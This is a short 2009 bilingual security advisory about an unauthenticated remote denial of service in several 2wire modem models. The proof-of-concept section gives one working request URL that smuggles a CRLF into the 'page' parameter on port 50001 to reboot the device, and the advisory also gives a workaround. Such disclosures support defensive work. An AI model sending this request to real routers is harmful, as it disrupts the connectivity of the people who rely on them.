Denegación de Servicio Remoto en Módems 2Wire

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2WIRE REMOTE DENIAL OF SERVICE
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Device: 2wire Gateway Router/Modem
Vulnerable Software: < 5.29.52
Vulnerable Models: 1700HG
1701HG
1800HW
2071
2700HG
2701HG-T
Release Date: 2009-09-00
Last Update: 2009-09-00
Critical: Moderately critical
Impact: Denial of service
Remote router reboot
Where: From remote
In the remote management interface
Solution Status: Vendor issued firmware patches
Providers are in charge of applying the patches
Websec Advisory: ws10-03

BACKGROUND
=======================

The remote management interface of some 2wire modems is enabled by default.
This interface runs over SSL on port 50001 with an untrusted issuer certificate.

++Español
Algunos módems 2wire tienen la interfaz remota habilitada por default.
La interfaz utiliza SSL con un certificado invalido en el puerto 50001.

DESCRIPTION
=======================

Some 2wire modems are vulnerable to a remote denial of service attack.
By requesting a special url from the Remote Management interface, an unathenticated
user can remotely reboot the complete device.

++
Algunos módems 2wire son vulnerables a un ataque de denegación de servicio.
Un usuario no autenticado puede reiniciar el dispositivo enviando una petición a
la interfaz de Administración remota.

EXPLOIT / POC
=======================

https://:50001/xslt?page=%0d%0a

WORKAROUND
=======================

Disable Remote Management in Firewall -> Advanced Settings.

++
Deshabilitar Administración remota en Cortafuegos -> Configuración avanzada

DISCLOSURE TIMELINE
=======================

2009/09/06 - Vulnerability discovered
2009/09/08 - Vendor contacted

=======================

h k m
hkm@hakim.ws
http://www.hakim.ws

=======================
Greets:
preth00nker, DromoroK, mr.ebola, Javier, d0ct0r_4rz0v1zp0, ch@vez, fito, HL, Xianur0, Pr@fEs0r X, Daemon.

REFERENCES
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Preth00nker’s exploit (LAN) - http://www.milw0rm.com/exploits/2246\ 2Wire Gateways CRLF DoS (from local network) - http://secunia.com/advisories/21583\ Hakim.Ws - http://www.hakim.ws\ WebVuln - http://www.webvuln.com